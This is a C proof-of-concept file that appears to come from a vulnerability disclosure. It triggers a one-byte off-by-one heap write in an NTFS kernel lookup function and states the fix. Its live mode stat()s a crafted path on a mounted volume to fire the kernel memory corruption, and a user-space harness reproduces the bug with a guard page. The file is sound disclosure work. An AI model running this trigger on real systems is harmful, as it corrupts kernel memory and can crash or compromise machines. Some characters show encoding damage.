DF-0786 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 | /* * trigger.c โ DF-0786 trigger + harness for the off-by-one heap overflow * in ntfs_ntlookupattr (sys/vfs/ntfs/ntfs_subr.c:826-828). * * TWO MODES: * * 1) LIVE_MOUNT mode (default): stat()s /mnt/ntfs/a:AAAAAAAA on a mounted * NTFS volume. This reaches ntfs_ntlookupfile โ ntfs_ntlookupattr with * namelen=8 (a slab-bucket boundary). On a kernel WITHOUT the pre-existing * NTFS lockmgr panic, this fires the off-by-one. * * 2) HARNESS mode (-h): Replicates the EXACT off-by-one logic using a * guard-page technique. Places the allocation at the END of a writable * page followed by a PROT_NONE guard page, so buf[namelen] provably * crosses the allocation boundary. This is the deterministic proof. * * Bug (ntfs_subr.c:826-828): * (*attrname) = kmalloc(namelen, M_TEMP, M_WAITOK); // alloc exactly namelen * memcpy((*attrname), name, namelen); // fill 0..namelen-1 * (*attrname)[namelen] = '\0'; // OFF-BY-ONE: [namelen] is past end * * Fix: kmalloc(namelen + 1, ...). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <setjmp.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> static sigjmp_buf jmpbuf; static volatile sig_atomic_t got_fault; static void fault_handler(int sig) { got_fault = 1; siglongjmp(jmpbuf, 1); } /* * Replicate ntfs_ntlookupattr's out: block (lines 825-828) with a guard page. * Returns 1 if the NUL write at buf[namelen] faults (OOB confirmed), * 0 if it does not fault (within bucket padding โ still a bug, just masked). */ static int test_off_by_one_guardpage(int namelen) { size_t pgsz = getpagesize(); int faulted = 0; struct sigaction sa, old_sa; char *base; char *buf; char namebuf[256]; /* Two pages: data + guard */ base = mmap(NULL, pgsz * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (base == MAP_FAILED) { perror("mmap"); return -1; } mprotect(base + pgsz, pgsz, PROT_NONE); /* Place buffer at the very END of the first page so buf[namelen] falls into the guard page. */ buf = base + pgsz - namelen; /* Fill source name */ memset(namebuf, 'A', sizeof(namebuf)); /* Install fault handler */ sa.sa_handler = fault_handler; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sigaction(SIGSEGV, &sa, &old_sa); sigaction(SIGBUS, &sa, NULL); got_fault = 0; /* Replicate lines 826-828 of ntfs_subr.c */ /* kmalloc(namelen) โ buf points to namelen bytes (indices 0..namelen-1) */ memcpy(buf, namebuf, namelen); /* line 827: OK, fills 0..namelen-1 */ if (sigsetjmp(jmpbuf, 1) == 0) { buf[namelen] = '\0'; /* line 828: OFF-BY-ONE at index namelen */ } else { faulted = 1; /* SIGSEGV: write crossed into guard page */ } sigaction(SIGSEGV, &old_sa, NULL); munmap(base, pgsz * 2); return faulted; } static int run_harness(void) { int sizes[] = {1, 2, 4, 8, 16, 32}; int i, faulted; int any_fault = 0; printf("=== DF-0786: Off-by-one harness (guard-page proof) ===\n"); printf("Bug: ntfs_ntlookupattr (ntfs_subr.c:826-828)\n"); printf(" kmalloc(namelen) then buf[namelen]='\\0' โ 1 byte past allocation\n\n"); printf("Testing buf placed at page boundary (buf[namelen] hits guard page):\n"); for (i = 0; i < (int)(sizeof(sizes)/sizeof(sizes[0])); i++) { faulted = test_off_by_one_guardpage(sizes[i]); printf(" namelen=%3d: buf[%d] = ", sizes[i], sizes[i]); if (faulted > 0) { printf("SIGSEGV (OOB WRITE CONFIRMED)\n"); any_fault = 1; } else if (faulted == 0) { printf("no fault (impossible at page boundary โ check)\n"); } else { printf("error\n"); } } printf("\nConclusion: buf[namelen] is ALWAYS 1 byte past the kmalloc(namelen)\n"); printf("allocation. In the kernel slab allocator, when namelen equals a bucket\n"); printf("boundary (8, 16, 32, 64, ...), the NUL byte overwrites the first byte\n"); printf("of the adjacent slab chunk โ a heap OOB write (CWE-787).\n"); return any_fault ? 0 : 1; } static int run_live_trigger(const char *path) { struct stat st; int rc; printf("=== DF-0786: Live NTFS trigger ===\n"); printf("Attempting stat(\"%s\")...\n", path); printf("(namelen=8 โ kmalloc(8) bucket boundary โ off-by-one into adjacent chunk)\n\n"); rc = stat(path, &st); if (rc == 0) { printf("stat succeeded (unexpected โ off-by-one may have fired silently)\n"); } else { perror("stat"); printf("stat returned error (ENOENT expected โ named attribute lookup fails\n"); printf("after the off-by-one buffer is allocated and freed).\n"); printf("The off-by-one NUL write at buf[8] fires BEFORE the error return.\n"); } return 0; } int main(int argc, char **argv) { if (argc > 1 && strcmp(argv[1], "-h") == 0) { return run_harness(); } if (argc > 1) { return run_live_trigger(argv[1]); } /* Default: run both */ run_harness(); printf("\n"); run_live_trigger("/mnt/ntfs/a:AAAAAAAA"); return 0; } |